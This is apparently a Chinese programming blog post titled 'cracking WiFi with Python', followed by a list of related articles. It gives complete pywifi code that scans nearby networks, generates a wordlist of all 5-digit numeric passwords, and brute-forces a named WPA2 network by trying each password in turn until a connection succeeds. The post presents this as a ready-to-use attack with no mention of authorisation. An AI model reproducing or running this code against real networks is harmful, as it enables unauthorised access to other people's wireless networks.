python应用-----破解wifi
2018-07-20 19:12
549 查看
1、程序需要的模块
pywifi
2、第一步
创建一个wifi.py程序
[code]import pywifi from pywifi import const #引用一些常量 #判断是否已经连接到wifi def gic(): #创建一个无线网卡 wifi=pywifi.PyWiFi() #获取到第一个无线网卡 iface=wifi.interfaces()[0] #列表 # print(iface.name()) #打印网卡连接状态 if iface.status()==const.IFACE_CONNECTED: print("已连接") else: print("未连接") # gic() # 扫描附近wifi def bies(): wifi=pywifi.PyWiFi() ifaces=wifi.interfaces()[0] # 扫描wifi ifaces.scan() # 获取扫描结果 result=ifaces.scan_results() for data in result: print(data.ssid) # print(result) bies()
程序实现创建一个无线网卡(注:台式电脑没有自带无线网卡 程序可能报错)
扫描并显示附近wifi
第二步:创建密码本
密码本可以在网上下载,也可以自己写
[code]import itertools as its # 迭代器 words="1234567890" r=its.product(words,repeat=5) # 保存到文件中 dic=open("pass.txt","a") for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close()
生成的密码本
第三步:
# 导入模块 # 抓取网卡接口 # 断开所有wifi # 读取密码本 # 设置睡眠时间 # 测试连接
[code]import pywifi from pywifi import const import time # 导入模块 # 抓取网卡接口 # 断开所有wifi # 读取密码本 # 设置睡眠时间 # 测试连接 # 测试连接 返回连接结果 def wificonnect(psd): # 抓取网口 wifi=pywifi.PyWiFi() iface=wifi.interfaces()[0] print(iface) #断开所有连接 iface.disconnect() # time.sleep(1) wifistatus=iface.status() if wifistatus==const.IFACE_DISCONNECTED: # print("未连接") #创建wifi连接文件 profile=pywifi.Profile() #wifi名 profile.ssid="aemaer" #网卡开放 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP #密码 profile.key=psd print(psd) #删除所有WiFi文件 iface.remove_all_network_profiles() #设置新的连接文件 tep_profile=iface.add_network_profile(profile) iface.connect(tep_profile) time.sleep(0.5) if iface.status()==const.IFACE_CONNECTED: return True else: return False else: print("已连接") # wificonnect() def read_password(): print("开始破解:") path="D:\\PyCharm 2017.2\wifi破解\pass.txt" file=open(path,"r") while True: try: passStr=file.readline() # print(passStr) bool=wificonnect(passStr) if bool: print("密码正确",passStr) break else : print("密码不正确",passStr) except: continue read_password()
程序还可以进一步完善
阅读更多
相关文章推荐
- Python尝试破解wifi无线密码
- python利用字典破解WIFI密码
- Python破解wifi
- 分分钟搞定python破解无线wifi
- Python3网络爬虫应用:爱奇艺等主流视频网站的VIP视频破解(在线观看+视频下载)
- 看斯坦福教授如何使用Python暴力破解WIFI密码!还怕没流量?
- python WiFi暴力破解小程序
- python破解WiFi
- Python--Python尝试破解wifi无线密码
- 简易“线程池”在Python网络爬虫中的应用
- 手机WiFi万能钥匙查看破解的密码和手机查询命令收集
- 应用跳转到系统设置的WiFi界面
- python concurrent.futures 简单应用
- Android之WiFi开发应用示例
- 闭包在python中的应用,translate和maketrans方法详解
- 坚持#第232天~零基础自学云计算基础语言应用之python第8节
- 使用Python和Django1.4搭建Web应用
- iOS 应用内连接WIFI 仅限iOS 11
- python3 sort sorted 函数应用
- Python 在数据科学中的应用